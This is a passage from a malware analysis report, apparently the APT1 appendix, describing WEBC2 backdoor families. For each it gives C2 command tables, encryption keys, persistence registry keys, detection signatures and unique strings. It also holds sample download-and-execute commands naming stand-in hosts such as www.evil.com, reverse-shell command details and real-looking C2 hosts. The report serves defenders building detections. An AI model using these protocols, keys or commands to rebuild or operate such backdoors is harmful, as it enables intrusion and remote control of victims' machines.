It searches the response for the strings `<form` and `/form>`. If it finds these strings it will continue to search for the HTML parameter string value="<BUFFER>" and attempt to process the contents of <BUFFER> as a command. Responses to any retrieved commands are encrypted and compressed before being POSTed to the server with the following separator:

```
-----------------------------7d6ea2d405fc
```

When instructed to download a file, the malware will use the User-Agent string `Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.0.12) Firefox/1.5.012`. The first ten bytes of downloaded files are ignored, and subsequent bytes in the file are obfuscated by XOR-ing with 0x57 (ASCII 'W'). Based on captured forensic evidence, these files will resemble JPEG files (with a valid ten byte JPEG header) and may have "`.jpg`" or "`.jpeg`" file extensions.

Persistence Mechanism

- The malware is intended to be installed as a service, and the path to the malware will be stored in a registry value such as:
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service>\DllPath`

Host-Based Signatures

- The malware may create .jpg or .jpeg files containing a valid 10-byte JPEG header, but the rest of the file will contain non-image data obfuscated by XOR-ing with 0x57 (ASCII 'W').
- The malware may copy `cmd.exe` to the file `Updatasched.exe` in a temporary files directory.

Network-Based Signatures

- The malware will make will periodically make HTTP requests with the following URIs:
  - `/Default.asp`
  - `/index.html`
- The malware has been observed with the following User-Agent strings:
  - `Mozilla/4.0 (compatible; MSIE 7.0; Win32)`
  - `Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; SV1)`
  - `Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)`
- When instructed to download a file, the malware will us the following User-Agent:
  - `Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.0.12) Firefox/1.5.012`

Unique Strings

```
Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; SV1)
```

```
Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash
Accept-Language: en-us
http://
/form>
<form
InternetReadFileExA
image
href="
href=
src="
src=
mail
http
background="
background=
HTTP/1.1
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HttpOpenRequestA
InternetReadFile
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-
flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
ADVAPI32.dll
index.html
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c
BUILD ERROR!
BUILD SUCCESS!
SUCCESS!
exit
86845632017245
PREF
value="
Open
 > nul
/c del
COMSPEC
JFIF
Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.8.0.12) Firefox/1.5.0.12
----------------------------7d6ea2d405fc
Content-Disposition: form-data; name="%d"
DATA
m i c r o s o f t
POST
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-
flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
*/*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
recvfrom failed: %d
recvfrom failed:
timed out
sendto failed:
Timed out
 /k
%c%c%c%c%c%c%c
0123456789ABCDEF
Success.
Default.asp
SeDebugPrivilege
Winsta0\Default
```

```
incompatible version
buffer error
insufficient memory
data error
stream error
file error
stream end
need dictionary
ct_init: 256+dist != 512
ct_init: dist != 256
ct_init: length != 256
code %d bits %d->%d
bit length overflow
gen_codes: max_code %d
inconsistent bit counts
 3_6?
dyn trees: dyn %ld, stat %ld
dist tree: sent %ld
lit tree: sent %ld
bl tree: sent %ld
bl code %2d
bl counts:
too many codes
not enough codes
bad compressed size
opt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u
dist data: dyn %ld, stat %ld
lit data: dyn %ld, stat %ld
last_lit %u, last_dist %u, in %ld, out ~%ld(%ld%%)
ct_tally: bad match
bad d_code
invalid length
output buffer too small for in-memory compression
bad pack level
wild scan
no future
insufficient lookahead
Code too clever
more < 2
Call UPDATE_HASH() MIN_MATCH-3 more times
.tgz
.gz
.arj
.lzh
.arc
.zoo
.zip
```

WEBC2-CSON

WEBC2-CSON will perform a GET request in the following format. The malware generates 10 random alphabetical characters for each connection request:

```
GET /Default.aspx?INDEX=<10_random_characters> HTTP/1.1
User-Agent: Win32
Host: 66.129.222.1
Connection: Keep-Alive
```

Figure 34: Sample WEBC2-CSON GET request

WEBC2-CSON employs a modified Base64 alphabet for encoding its comment commands. Network data transmitted from the compromised host is obfuscated using the same Base64 encoding.

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
```

Figure 35: Default base64 alphabet

```
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/
```

Figure 36: WEBC2-CSON Modified base64 alphabet

```
<!--gk51gk51s7dIqndQ-->
```

Figure 37: Example encoded WEBC2-CSON command in an HTML comment; "pslist"

If the first six characters of the command string are "######", the malware will sleep for a random interval and then reconnect. Table 45 describes commands that WEBC2-CSON understands, other than "sleep."

Function	Command	Description
Interactive command shell	`cmd.exe`	Creates a reverse command shell session
List processes	`pslist`	Returns a process listing.
File download	`d <remote_host> <filename> <save_file_as>`	Downloads a file from a remote host and stores it in the specified path. Example usage: "`d www.evil.com badfile.exe C:\temp\svchost.exe`"
Establish connection	`hello`	Sends a "hello" beacon packet.
Set sleep interval	`S <minutes>`	Sleep for specified amount of minutes
Create processes	`xcmd.exe`	Execute remote command through `xcmd.exe` tool if available on the system. The tool is expected to be stored in %TEMP%.

Table 45: WEBC2-CSON functionality

Some WEBC2-CSON variants expect all decoded commands to be prepended by the string "######" as illustrated in Table 46.

Function	Command	Description
Download and execute file [from specified URL]	`######d/D <remote_host> <filename>`	Downloads a file from a remote host and stores it in the specified path. Example usage: "`######d www.evil.com\badfile.asp`". The file will be saved to %TEMP%`\badfile.exe`. The file `badfile.exe` will then be executed.
Set sleep interval	`######s/S <hours>`	Sleep for specified amount of hours
Uninstall	`######exit`	Exit and delete `svchost.exe`

Table 46: WEBC2-CSON Variant Commands

Responses to commands (except "d") use POSTs to "/Default.aspx?ID=<10_random_uppercase>"

```
POST /Default.aspx?ID=IMNQRSSRXK HTTP/1.1
Accept: text*/*
Content-Type: application/x-www-form-urlencoded
User-Agent: Win32
Host: 70.62.232.98
Content-Length: 16
Cache-Control: no-cache

pn9OrT8wrT9Apn8=
```

Figure 38: WEBC2-CSON POST request

When WEBC2-CSON downloads a file from a remote host, the file will be encrypted. The malware decrypts the file using AES-128 symmetric encryption in ECB mode using the key "1234567890123456". Encrypted data starts at offset six within the downloaded file. In sample traffic the downloaded file has a fake GIF image header in these first six bytes. The decrypted file is written to disk in the current user's %TEMP% directory.

Persistence Mechanism

- WEBC2-CSON may persist using DLL search order hijacking. The DLL file is typically copied to %SYSTEMROOT% (C:\WINDOWS\ntshrui.dll).
- The malware may also be installed as a service, and the path to the malware will be stored in a registry value such as:
    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\*<service>*\DllPath

Host-Based Signatures

- The malware may copy %SYSTEMROOT%\system32\cmd.exe as %TEMP%\google.exe
- The malware may download and store %TEMP%\xcmd.exe

Network-Based Signatures

- The malware will perform GET and POST requests for the following resources:
    - /Default.aspx?INDEX=<10_random_characters> HTTP/1.1
    - /Default.aspx?ID=<10_random_characters> HTTP/1.1
- The malware has been observed with the following User-Agent strings:
    - Win32
    - <HOSTNAME>
- When instructed to download a file, the malware will us the following User-Agent:
    - Windows+NT+5.1

Unique Strings

```
Windows+NT+5.1
Google.exe
/Default.aspx?INDEX=
/Default.aspx?ID=
gT9BonhBk79LoSlPsQ4=
dW5zdXBwb3J0
c2xlZXA=
Y21k
cXVpdA==
Exit
Getfile failed
Getfile success
hello
Get ProcessList Failed
list
Sleep
xcmd.exe
md.exe
ERROR
quit success
cmd.exe
d.exe
error order
######
PID       ProcessName
quit
ReadFile Failed!
SendRequest Failed!
OpenRequset Failed!
HTTP/1.1
Connect Web Failed!
Open Web Failed!
Win32
POST
Accept: text*/*
Content-Type: application/x-www-form-urlencoded
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/
--!>
<!--
%s %s %s
```

WEBC2-DIV

WEBC2-DIV searches for the strings "<div safe:" and " balance>" to delimit encoded C2 information. If the decoded string begins with the letter 'J' the malware will parse additional arguments in the decoded string to specify the sleep interval to use.
WEBC2-DIV supports the following commands:

Function	Command	Description
Set sleep interval	Just0*X*	Sleep for *X* hours and request new command.
Set sleep interval	Just1*X*	Sleep for *X* minutes and request new command.
Set sleep interval	Just2*X*	Sleep for *X* days and request new command.
Set sleep interval	JustR	Sleep for *random* minutes and request new command.
Download and execute file [from specified URL]	Do*http://example.com/evil.exe*	Download *evil.exe* from *example.com* the file will be saved as win*XXXX*.exe under the user's *%TEMP%* directory and executed.

Table 47: WEBC2-DIV functionality

If the decoded string begins with 'Do' the malware will download the specified URL and store it to %TEMP%\win<uuuu>.exe, where <uuuu> is selected by the OS to ensure the filename is unique. If the decoded string begins with 'De' the malware downloads the specified URL to %TEMP%\tmp<uuuu>.tmp. This file is decrypted using the MD5 hash of the string "3DC76854-C328-43D7-9E07-24BF894F8EF5" as the key to a modified RC4 implementation. The decrypted file is written to %TEMP%\win<uuuu>.exe and is executed.

Persistence Mechanism

- WEBC2-DIV will add itself to the following registry keys for persistence:
  - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Host-Based Signatures

- The malware may download files to %TEMP%\win<uuuu>.exe, and %TEMP%\tmp<uuuu>.tmp, where <uuuu> is a unique hexadecimal string

Network-Based Signatures

- The malware has been observed with the following User-Agent string:
  - Microsoft Internet Explorer <Hostname>

Unique Strings

```
3DC76854-C328-43D7-9E07-24BF894F8EF5
6k6GpmsqUfFERoNNJ_L7d/lvgp60hq/m9b8m1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Microsoft Internet Explorer
Hello from MFC!
```

WEBC2-GREENCAT

WEBC2-GREENCAT implements a large amount of additional functionality in comparison with other WEBC2 variants. The commands are not base64 encoded like the majority of other WEBC2 variants. Its functionality mirrors that of the GREENCAT malware family, with the addition of using HTML comments for C2.

```
<!--<img border=0 src="/lftGwH/#KX8.gif" width=240 height=10>-->
```

Figure 39: WEBC2-GREENCAT Sample Comment

The data contained in the border= field contains a command value. The following is a list of these commands:

Function	Command	Description
Set sleep interval	`0`	Set sleep length modifier (width= is modifier value)
Create processes	`1`	Execute command using ShellExecute
Create processes	`2`	Execute command (option described below)
Sleep	`3`	Set sleep flag
Uninstall	`4`	Uninstall (delete registry key and file from disk)

Table 48: WEBC2-GREENCAT functionality

If command 1 or 2 is issued, then the data contained in the src= field contains an encoded password and an encoded sub-command for the backdoor. The first part is the password while the value after the # is the actual sub-command. The following is a list of sub-commands that are accepted by the malware:

Function	Command	Description
Interactive command shell	`Shell`	Launch a command shell process. (must call before "start" command)
List processes	`List`	Enumerate processes or services
Kill processes	`Kill`	Kill a process or service
File download	`Getf`	Download a file from the server
File upload	`Putf`	Upload a file to the server
Create processes	`Start`	Launch a command or start a service
Get system information	`Whoami`	Get the current user information and system information
Exit	`Quit`	close the backdoor
Download file [from specified URL]	`Geturl`	Download a specified URL to a file
Create processes	`Pidrun`	Run a program as a sub-process of a given PID

Table 49: WEBC2-GREENCAT Sub-Commands

Persistence Mechanism

- WEBC2-GREENCAT will add itself to the following registry key for persistence:
    - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`

Host-Based Signatures

- The malware installs itself to `%APPDATA%\Adobe\reader_sl.exe`
- The malware creates a file named `~MS80547.bat` during its self delete procedure
- The malware creates a mutex named `ADR32`

Unique Strings

```
Content-Length: %d
```

```
shell
list
kill
getf
putf
start
whoami
quit
pidrun
geturl
Sleep Time:
Start shell first.
090205
<h1>Bad Request (Invalid Hostname)</h1>
%s Connected!
\tasks
Computer:
Accept:*/*
Pragma:no-cache
Cache-Control:max-age=0
Cache-Control:no-cache
Proxy-Connection:Keep-Alive
CONIN$
Process cmd.exe exited!
 and the PID is %d
Started already,
Shell started fail!
Shell started successfully!
CmdPath=
GetFileAttributes Error code: %d
\cmd.exe
%ComSpec%
Totally %d volumes found.
Unkown
Invalid
Removeable
Fixed
Remote
CD-ROM
Ramdisk
Volume on this computer:
Volume
Type
Volume Name
%-24s %s
list service failed!
%-26s %5d
list process failed!
Syntax error!
Usage:
list </p|/s|/d>
ControlService failed!
Service doesn't start!
Service stopped!
Service stop pending!
Service still running!
OpenService failed!
Service does not exist!
OpenSCManager failed!
Failed!
Syntax error!
Usage:
kill </p|/s> <pid|ServiceName>
```

```
%*[^/]%*[/]%*[^/]%s
FileSize:
putf
Syntax error!
Usage:
getf/putf FileName <N>
Mozilla/5.0
So long!
exit
Shell started,wait to terminate it.....
Service is running already!
Service started!
StartService failed!
CreateProcess failed!
Program started!
Syntax error!
Usage:
start </p|/s> <filename|ServiceName>
OpenT failed with %d!
Create failed with %d!
"%s"
OpenP failed with %d!
Syntax error!
Syntax error!
Usage:
GetUrl URL FileName
%d.%d %02d:%02d %s\%s
\Application Data\Adobe\reader_sl.exe
null
GLOBAL\ADR32
reg.exe
add "HKCU\%s" /v "%s" /d "%s" /f
Software\Microsoft\Windows\CurrentVersion\Run
Adobe Reader Speed Launcher
width=
src=
border=
<img
IE 8.5
.exe
~MS80547.bat
._/-
```

WEBC2-HEAD

WEBC2-HEAD communicates over HTTPS, using the system's SSL implementation to encrypt all communications with the C2 server. WEBC2-HEAD first issues an HTTP GET to the host, sending the Base64-encoded string of "connect <HostName>", where <HostName> is the name of the compromised machine running the malware. A sample decrypted GET request is shown in Figure 40, where the HTTP body is the Base64 encoded string "connect TESTMACHINE".

```
GET / HTTP/1.1
User-Agent: WinHTTP 1.0
Host: www.olmusic100.com
Content-Length: 28
Connection: Keep-Alive

Y29ubmVjdCBURVNUTUFDSElORQ==
```

Figure 40: WEBC2-HEAD Initial GET Request

Responses from the server are Base64 encoded and delimited by the "<head>" and "</head>". The malware ensures the first response is "connect ok" before sending a Base64 encoded "Ready!" message. WEBC2-HEAD supports the following commands:

Function	Command	Description
Interactive command shell	cmd	Causes the malware to start a child process of %SYSTEMROOT%\system32\cmd.exe. Input is accepted over the same HTTP channel and sent to the cmd.exe process, and responses are Base64 encoded and sent as the body of further HTTP requests
File download	get	Download file
File upload	put	Upload file
Exit	exit	Causes the malware to exit and resume polling the C2 server
File upload/download	tran	Causes the malware to respond with the Base64 encoded string "Pls input order:". This can be one of the strings "getfile" or "upfile" which determine the direction of file transfer: either perform a file upload or a download. The Base64-encoded string "W!r@o#n$g" may be sent if the malware cannot open the specified local file
Uninstall	quit	Causes the malware to exit and perform a self-delete

Table 50: WEBC2-HEAD functionality

Host-Based Signatures

- The malware may create a file named new.new when trying to receive a file from the C2 server and it cannot open the specified filename for writing.

Network-Based Signatures

- The malware has been observed with the following User-Agent string:
  - WinHTTP 1.0
- Reference Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings

```
AAAAAAAAAAAAAAAA
exit
Ready!
connect ok
Error %d has occurred.
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
```

```
connect %s
get
put
\cmd.exe
new.new
.new
</head>
<head>
https://
WinHTTP 1.0
AAAAAAAAAAAAAAAAAAAAAAAAAA
ABBBBBBBBBB
\office.exe
Register
Software\Microsoft\Windows\CurrentVersion\Run
```

WEBC2-KT3

WEBC2-KT3 searches for a comment in the format shown in **Figure 41**.

```
<!--aHR0cAXXXXXX -->
```

Figure 41 - Example Kt3 command sequence

The XXXXXX text is a base64 encoded string that contains the command and associated arguments for the backdoor to act on. WEBC2-KT3 supports the following commands:

Function	Command	Description
Exit	z	Causes the backdoor to exit
Download and execute file [from specified URL]	d	Downloads and launches a program
Sleep	s	Causes the backdoor to sleep

Table 51: WEBC2-KT3 functionality

If the command given is not one of the above listed commands then the backdoor interprets the command string as an external host's IP address and port number and attempts to connect to it. When the backdoor connects to the external host it starts by sending the beacon string in Figure 42. If the external host responds with the byte sequence in Figure 43, a command shell will be opened and relayed to the external host.

```
*!Kt3+v|
```

Figure 42: WEBC2-KT3 Beacon string

```
*!Kt3+v| dne
```

Figure 43: WEBC2-KT3 Beacon response string to open a command shell on the victim machine

Persistence Mechanism

- WEBC2-KT3 will add itself to the following registry keys for persistence:
  - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
  - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`

Host-Based Signatures

- The malware may copy `%SYSTEMROOT%\system32\cmd.exe` as `%TEMP%\google.exe`
- The malware may download and store `%TEMP%\xcmd.exe`

Network-Based Signatures

- Any network traffic starting with the following string:
  - `*!Kt3+v|`
- The malware has been observed with the following User-Agent string:
  - `Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)`

Unique Strings

```
*!Kt3+v| s:
*!Kt3+v| dne
*!Kt3+v|
```

WEBC2-QBP

WEBC2-QBP will search for two strings in a HTML comment. The first will be "`<!--<2010QBP `" followed by "` 2010QBP//-->`". Inside these tags will be a DES-encrypted string. The following string is an example of what the malware would expect to find on the web page:

```
<!--<2010QBP 29A991775BB197F155AE08F88F740F47 2010QBP//-->
```

Figure 44: WEBC2-QBP Comment

The above command will decrypt to "`\x25\x06\x42\x15\x78`" plus padding. The first 4 bytes will be used as the command in little endian. The above comment would instruct the malware to sleep for `0x78` minutes. The malware uses the Microsoft Cryptographic APIs to decode the commands. The malware will take the MD5 hash of "`Hello@)!0`" and use this as the key for DES.
WEBC2-QBP supports the following commands:

Function	Command	Description
Set sleep interval	`\x25\x06\x42\x15<\xnn>`	Sleep for *\xnn* minutes and request new command.
Download and execute file [from specified URL]	`\x59\x31\x75\x43<http://example.com/evil.exe>`	Download DES-encoded file *evil.exe* from *http://example.com*. The file will be written to the *%TEMP%*\~hf~ directory with a .tmp extension and executed.
Uninstall	`\x61\x04\x20\x76`	Delete the registry persistence mechanism and exit.
Interactive command shell	`\x21\x01\x36\x87<command_passed_to_cmd.exe>`	Pass command to cmd.exe. The output is written to <gettickcount>.tmp in the %TEMP%\~hf~ directory. The <command_passed_to_cmd.exe> is passed to cmd.exe /c > and output is saved to the <gettickcount>.tmp file. The malware responds back to the pre-configured C2 URL with a different URI. The new URI consists of output data (form the temporary file), encrypted, and transformed to decimal and passed via a GET request. If there is an error the malware returns &id=<error_num>

Table 52: WEBC2-QBP functionality

Persistence Mechanism

- The malware may install itself to the Start Up folder for persistence:
  - `%USER_PROFILE%\Start Menu\Programs\Startup\`
- The malware may add itself to the following registry keys for persistence:
  - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`

Host-Based Signatures

- The malware creates the following files:
  - `%TEMP%\~df~ (directory)`
  - `%TEMP%\~df~\<downloaded_malware_name>.tmp`
  - `%TEMP%\~df~\<gettickcount>.tmp`

Network-Based Signatures

- The malware's commands are embedded in HTML identified by the string `<!--<2010QBP`

Unique Strings

```
Microsoft DH SChannel Cryptographic Provider
!(*@)(!@URL
!(*@)(!@HOS
 2010QBP//-->
<!--<2010QBP
" /F
cmd /c erase "
.tmp
URLDownloadToCacheFileA
urlmon.dll
%t?%d-%d-%d=
?id=4
?id=3
?id=2
?id=1
?id=0
Hello@)!0
VRLDownloadToCacheFileA
DnsFlushResolverCache
dnsapi.dll
\~hf~\
%TEMP%
CreateProcess failed (%d)
dmd /c
%QDF-1
FILE
open
.pdf
.exe
 -s
\adobe_sl.exe
Ttartup
Tpguxbre\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
```

WEBC2-RAVE

WEBC2-RAVE will look for commands embedded in HTML comments ("<-- ->"). The data contained inside the HTML comment will be Base64 decoded. The Base64 implementation substitutes "-" for the "+" found in the standard Base64 character-set. Once decoded the malware expects one of the following commands (first character is case-insensitive):

Function	Command	Description
Set sleep interval	`s:`*<N>*	Sleep for *N* hours
Download and execute file [from specified URL]	`d:`*<URL> <FILENAME>*	Download *<URL>* to *<FILENAME>* and execute file
Interactive command shell	*<HOST>*:*<PORT>*	Create an encoded reverse shell to *<HOST>* on port *<PORT>*. The malware will copy the windows cmd.exe to *%TEMP%*`\iniet.exe` and spawn the shell.

Table 53: WEBC2-RAVE functionality

If the WEBC2-RAVE variant launches a reverse shell then the following will occur. The malware will create a copy of `cmd.exe` at `%TEMP%\iniet.exe`. The malware's network traffic is encoded using a custom dynamic XOR key space that will depend on the size of the packet to decode or encode. The key to this XOR table is derived from the MD5 of "12345" (`0x827CCB0EEA8A706C4C34A16891F84E7B`) and then converted to a 32-byte ASCII representation of the MD5's 16 byte value. The first 16 bytes are used for the key:

```
0x38323743434230454541384137303643
```

Figure 45: Initial Static XOR Key

The XOR key space is then determined through a helper function that builds the key space for the size of the packet to decode or encode. Once the XOR key space is applied to the buffer to encode from the command shell, the malware uses Base64 encoding with the substituted "-" for "+" in the standard Base64 character-set.

The initial beacon connection includes the bytes `\x59\x33\x76\x61\x52\x37\x2d` after the DWORD packet length in little endian. This beacon should contain the encoded "Microsoft Windows" string from the command prompt (`iniet.exe`).

```
< 00000004 59 33 76 61 52 37 2d 56 30 56 6a 36 67 64 6e 69 # Y3vaR7-V0Vj6gdni
< 00000014 33 59 75 51 61 70 4d 6d 38 34 7a 69 4a 65 56 6e # 3YuQapMm84ziJeVn
< 00000024 71 36 4a 59 68 34 34 74 44 6e 45 73 56 45 69 5a # q6JYh44tDnEsVEiZ
< 00000034 45 67 4f 61 51 77 70 6e 31 52 41 52 51 44 75 6a # EgOaQwpn1RARQDuj
< 00000044 6b 35 48 72 39 53 55 75 46 77 50 34 6f 49 76 76 # k5Hr9SUuFwP4oIvv
< 00000054 32 6d 70 37 48 45 46 31 56 54 58 52 65 6d 57 42 # 2mp7HEF1VTXRemWB
< 00000064 35 4d 6b 45 38 6d 78 63 78 52 6d 56 64 34 54 6d # 5MkE8mxcxRmVd4Tm
< 00000074 64 57 34 52 30 76 48 37 6a 4d 42 61 45 30 4f 59 # dW4R0vH7jMBaE0OY
< 00000084 4a 74 2f 72 66 58 63 69 71 58 39 44 49 38 52 78 # Jt/rfXciqX9DI8Rx
< 00000094 71 2f 62 75 77 52 62 44 6d 65 59 39 76 79 56 64 # q/buwRbDmeY9vyVd
< 000000a4 4c 4f 4e 31 6d 56 57 4b 52 4d 58 66 74 68 57 2d # LON1mVWKRMXfthW-
< 000000b4 5a 49 70 55 62 45 74 43 2d 36 6b 48 4a 6d 51 33 # ZIpUbEtC-6kHJmQ3
< 000000c4 36 4a 37 68 70 6e 6c 4e 6c 37 4c 77 63 48 35 41 # 6J7hpnlNl7LwcH5A
< 000000d4 33 78 45 70 75 54 47 68 34 6a 4e 77 4d 61 44 6d # 3xEpuTGh4jNwMaDm
< 000000e4 57 32 4b 61 4d 51 4b 39 32 6c 79 72 37 6b 52 56 # W2KaMQK92lyr7kRV
< 000000f4 49 33 5a 58 71 70 39 69 2d 4b 6a 37 6c 56 54 51 # I3ZXqp9i-Kj7lVTQ
< 00000104 45 7a 49 61 64 37 39 52 47 33 35 67 76 4f 44 46 # EzIad79RG35gvODF
< 00000114 42 55 62 57 67 51 38 38 35 63 64 44 72 55 6e 78 # BUbWgQ885cdDrUnx
< 00000124 2d 62 2d 59 66 6f 61 2f 4d 57 76 64 55 47 34 67 # -b-Yfoa/MWvdUG4g
< 00000134 59 59 78 6a 2d 43 65 6c 33 6d 65 64 79 5a 5a 5a # YYxj-Cel3medyZZZ
< 00000144 41 70 45 68 67 67 47 73 74 4e 73 70 4c 6d 6a 48 # ApEhggGstNspLmjH
< 00000154 37 62 59 54 32 66 76 79 41 41 61 39 38 46 4c 50 # 7bYT2fvyAAa98FLP
< 00000164 5a 35 77 30 58 53 52 6c 76 42 6c 61 77 55 2d 44 # Z5w0XSRlvBlawU-D
< 00000174 61 6a 35 6c 77 30 4c 6b 6c 54 6a 78 71 44 74 35 # aj5lw0LklTjxqDt5
< 00000184 39 55 42 57 2d 44 2f 31 48 79 73 37 50 38 35 47 # 9UBW-D/1Hys7P85G
< 00000194 38 79 72 2f 4b 48 77 3d                         # 8yr/KHw=
```

Figure 46: Example WEBC2-RAVE Reverse Shell Connection Packet

Upon successful connection and closing the command shell, the malware will delete the `%TEMP%\iniet.exe` copy of `cmd.exe`.

Persistence Mechanism

- The malware creates HKEY_LOCAL_MACHINE`\System\CurrentControlSet\Services\DevFS\`
  - Name = "`DevFS`"
  - DisplayName = "`Device File System`"
  - Description = "`Saves installation files used for updates and repairs and is required for the downloading of Setup updates and Watson error reports.`"
  - DependOnDevice = "`PlugPlay`"

Host-Based Signatures

- The malware will copy the Microsoft Windows file, `cmd.exe` to the following file and directory:
  - `%TEMP%\iniet.exe`
    - This file will be deleted after the command shell exits.

Network-Based Signatures

- The malware uses the following User-Agent strings on the initial GET:
  - `HTTP Mozilla/5.0(compatible+MSIE)`
- When instructed to download a file, the malware will us the following User-Agent:
  - `Mozilla/4.0 (compatible; MSIE 7.0;)`
- The malware sends the binary sequence `59 33 76 61 52 37 2d` at the beginning of command shell connections

Unique Strings

```
%s%s
0123456789ABCDEF
12345
123!@#qweQWE
HTTP Mozilla/5.0(compatible+MSIE)
iniet.exe
%s\%s
cmd.exe
CreatePipe2
CreatePipe1
exit
DevFS
DependOnDeivce
PlugPlay
Description
SYSTEM\CurrentControlSet\Services\DEVFS
Device File System
```

```
Saves installation files used for updates and repairs and is required for the
downloading of Setup updates and Watson error reports.
Mozilla/4.0 (compatible; MSIE 7.0;)
WriteFile
Kernel32.dll
```

WEBC2-TABLE

WEBC2-TABLE issues an initial GET request in the following format:

```
GET /order.htm HTTP/1.1
User-Agent: <current_time>+<hostname>
Host:  meeting.toh.info
Connection: Keep-Alive
Cache-Control: no-cache
```

Figure 47: WEBC2-TABLE GET Request

In response to the GET request, the malware expects to receive data in the format shown in Figure 48.

```
<!---
<table<background="<background_encoded_data>";align="<alignment_string>";bgcolor="<bgc
olor_string>";>--><!advertisement<script src=<script_src_encoded_data>></script>--->
```

Figure 48: WEBC2-TABLE Server Response

The background, align, and bgcolor tags can appear in any order in the data received from the server. The malware decodes the <background_encoded_data> string by ignoring the first 19 characters and then decoding the remaining data.

The malware expects the decoded background data to be the hostname of the infected system. If it is not, the malware will stop processing the rest of the data that it received. The malware next checks to see if the <alignment_string> is "center". It currently does not do anything with this information. The malware interprets the <bgcolor_string> as an integer and uses that to determine how long to sleep in between GET requests to the server. The most important piece of information is stored in the <script_src_encoded_data> string. The malware ignores the first 50 characters and then decodes the remaining data. The decoded data is then used as a URL that the malware downloads an executable from and a filename to store the data. The malware expects the decoded data to be in the format of: <URL> <filename1>.

The malware then connects to the newly indicated <URL> and will write that file data to %APPDATA%\sdwefa.gif. The malware then checks to see if the downloaded file data begins with the string "GIF89a". If the file does begin with this, the malware will decode the remaining data in the file by XOR'ing it with 0x33 and writing the decoded data to %APPDATA%\<filename1>. After sdwefa.gif has been decoded, the malware deletes that file and then executes the newly created %APPDATA%\<filename1>.

Persistence Mechanism

- The malware creates a registry key named:
  - HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\AdobeCom
    - Value = %APPDATA%\help\svchost.exe

Host-Based Signatures

- The malware may create a file named %APPDATA%\sdwefa.gif

Network-Based Signatures

- The malware uses the following User-Agent string:
  - <current_time>+<hostname>

WEBC2-TOCK

WEBC2-TOCK will search a web page for these strings:

- `<!---[<if IE 5>]id="all"`
- `<!---[<if IE 5>]id="%COMPUTERNAME%"`
- `<![<endif>]--->`

If these strings are found, the malware will then begin parsing commands. If not found, the malware will sleep for 3960 minutes. If there is a string match, the malware will continue parsing the web page, looking for the strings `class=` and `\script` followed by a file. This will point to a file the malware should download. The malware will download the file and write it to the `%APPDATA%\Microsoft\Internet Explorer\` directory. The downloaded buffer will be sent over the network using a single-byte XOR routine with a key of 0x12 and then written to disk. The malware will then execute the downloaded file and continue parsing the web page. Finally the malware will look for the strings `type=` and `\text` followed by a number. This number is used to tell the malware how many minutes to sleep before checking the page again.

Network-Based Signatures

- Encoded C2 commands will begin with the following string:
  - `<!---[<if IE 5>]`

Unique Strings

```
HKCR
Comhtml.mshtml.1 = s 'mshtml Class'
CLSID = s '{1A7882DB-B89E-4406-AF8A-42C3DBD11B2C}'
Comhtml.mshtml = s 'mshtml Class'
CLSID = s '{1A7882DB-B89E-4406-AF8A-42C3DBD11B2C}'
CurVer = s 'Comhtml.mshtml.1'
NoRemove CLSID
ForceRemove {1A7882DB-B89E-4406-AF8A-42C3DBD11B2C} = s 'mshtml Class'
ProgID = s 'Comhtml.mshtml.1'
VersionIndependentProgID = s 'Comhtml.mshtml'
InprocServer32 = s '%MODULE%'
val ThreadingModel = s 'Apartment'
'TypeLib' = s '{B02DAAF7-C679-4D00-9805-BE94D23B3B99}'
MSFT
REGISTRY
Module
REGISTRY
TYPELIB
comhtml
VS_VERSION_INFO
StringFileInfo
040904B0
CompanyName
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
HKCC
HKDD
HKPD
HKLM
HKCU
HKCR
```

```
e
Microsoft Corporation
FileDescription
NT OC Manager DLL
FileVersion
5.1.2600.2180 (xpsp_sp2_rtm.040803-2158)
InternalName
ntoc.dll
LegalCopyright
Microsoft Corporation. All rights reserved.
OriginalFilename
ntoc.dll
ProductName
Microsoft
Windows
Operating System
ProductVersion
5.1.2600.2180
VarFileInfo
Translation
TYPELIB
CLSID
Delete
NoRemove
ForceRemove
CreateThread() failed: %d
open
\Microsoft\Internet Explorer\
\text
type=
\script
class=
<![<endif>]--->
<!---[<if IE 5>]id="all"
